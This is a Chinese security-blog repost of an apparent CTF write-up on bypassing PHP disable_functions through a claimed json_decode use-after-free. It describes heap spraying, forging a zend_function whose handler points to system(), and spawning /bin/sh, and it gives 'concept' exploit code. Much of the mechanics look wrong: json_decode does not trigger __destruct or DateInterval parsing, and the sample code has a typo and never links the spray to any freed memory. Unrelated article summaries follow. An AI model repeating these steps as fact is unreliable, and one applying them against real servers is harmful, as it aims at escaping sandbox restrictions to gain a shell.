PHPJsonSerializerUAF漏洞:绕过disable_function本地提权"

admin 2026-10-24 15:00:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

PHP Json Serializer UAF漏洞:绕过disable\_function本地提权

原创

晨星安全团队
晨星安全团队

晨星安全团队

2026年10月22日 13:09
湖南

去阅读

Json Serializer UAF 提权

题目来源于CTFHUB

unsetunsetJSON 反序列化漏洞unsetunset

json_decode() 在处理特定的对象(如实现了__wakeup() 或 __destruct() 方法的类)时,可以触发敏感操作。如果配合弱类型比较或 UAF,可能实现利用

构造触发点

某些 PHP 内建类(如 DateInterval, SplFileObject 等)在反序列化过程中释放内存对象,而错误地在之后又引用了该对象,造成 UAF。例如:

$json = '{\"date_string\":\"P1D\"}';

# 第一个参数 $json:要解码的 JSON 字符串
# 第二个参数 false:当为 false 时,返回对象;当为 true 时,返回关联数组。不过这个行为会被第四个参数覆盖
# 第三个参数 512:递归深度,这里是默认值
# 第四个参数 JSON_OBJECT_AS_ARRAY:这是一个常量,表示将 JSON 对象解码为关联数组而不是对象。这会覆盖第二个参数的行为
$obj = json_decode($json, false, 512, JSON_OBJECT_AS_ARRAY);

在某些版本中,DateInterval 的解析会调用底层 C 实现的解析逻辑,释放部分内部结构后仍访问它

布置内存布局

使用 PHP 用户定义对象或数组堆喷(heap spraying)覆盖释放掉的内存,使得 UAF 指针指向攻击者可控内容

$payload = str_repeat(\"A\", 1024); // 可控数据替换被释放的内存

伪造 zend\_function 结构

在 PHP 底层,函数指针保存在 zend_function 结构中。攻击者覆盖 UAF 内存,使其看起来像一个函数对象,伪造 handler 指向任意地址(如 libc 的 system()),或构造 ROP 链,最终实现执行

[ fake zend_function ]:
+0x00 handler => 0xdeadbeef (system 或 gadgets)
+0x08 function_name => \"/bin/sh\"

调用伪函数触发执行

通过某些魔术方法(如 __destruct, __call, __invoke)或特定内建函数(如 call_user_func())调用伪函数,触发执行 handler

call_user_func($fake_function, \"/bin/sh\");

此时,PHP 调用的是伪造的函数对象,实质执行的是任意地址上的函数,比如 system(\"/bin/sh\")

真实利用案例(概念)

<?php
class Evil {
    public $cmd;
    function__destruct() {
        //析构的时候调用,触发伪造的函数指针
        call_user_func($this->cmd);
    }
}

//1.json_decode触发UAF漏洞
$victim = json_decode('{\"a\":\"...\"}', false);

//2.堆喷,覆盖释放后的内存
for ($i = 0; $i < 10000; $i++) {
    $spray[] = str_repeat(\"A\",1024);
}

//3.实例化类,脚本结束触发__destruct
$evil = new Evil();
$evil->cmd = \"/bin/sh\";
?>

蚁剑梭哈

-END-

    PHPJsonSerializerUAF漏洞:绕过disable_function本地提权" 网络安全文章

    PHPJsonSerializerUAF漏洞:绕过disable_function本地提权"

    本文分析PHPJsonSerializerUAF漏洞,源于json_decode处理特定对象时释放后重用,可绕过disable_function实现本地提权。文章详述触发点、内存布局布置、伪造zend\\_function结构及调用伪函数触发执行等利用步骤,并给出概念性利用代码。建议开发者关注PHP版本更新,修复反序列化漏洞,加强输入过滤与安全配置。
    今天,纪念伟大胜利!" 网络安全文章

    今天,纪念伟大胜利!"

    本文为纪念中国工农红军长征胜利90周年的文章,回顾了长征的艰难历程,包括湘江战役、遵义会议、飞夺泸定桥等关键事件,强调红军战士的英勇精神与坚定信念,并指出长征精神对当代的启示意义,号召铭记历史、继续前行。
    金融App暗藏SDK风险,供应链安全该如何治理?" 网络安全文章

    金融App暗藏SDK风险,供应链安全该如何治理?"

    本文聚焦金融App第三方SDK供应链安全风险,指出App运营主体需对集成代码全权负责。典型风险包括高危漏洞、违规隐私采集、开源组件投毒及版本管理缺失。文章提出资产盘点、漏洞自查、隐私合规、版本管控、持续监测及供应商管理六大治理维度,并介绍梆梆安全的应用安全测评与合规平台解决方案,助力金融机构实现供应链风险可识别、可检测、可整改。
    PHP高危漏洞预警|鼎夏智能:应急防护之外,“AI代码重构”方能根治长期风险" 网络安全文章

    PHP高危漏洞预警|鼎夏智能:应急防护之外,“AI代码重构”方能根治长期风险"

    文档报告PHP官方披露两个严重漏洞CVE-2026-109618和CVE-2026-109619,CVSS评分9.2分,属预认证远程代码执行漏洞,攻击者可无需登录直接接管服务器。官方修复版本包括PHP8.5.12等。鼎夏智能提供应急防护和AI代码重构双重解决方案,建议企业及时更新版本并考虑从源码层面根治老旧系统安全风险。
    评论:0   参与:  0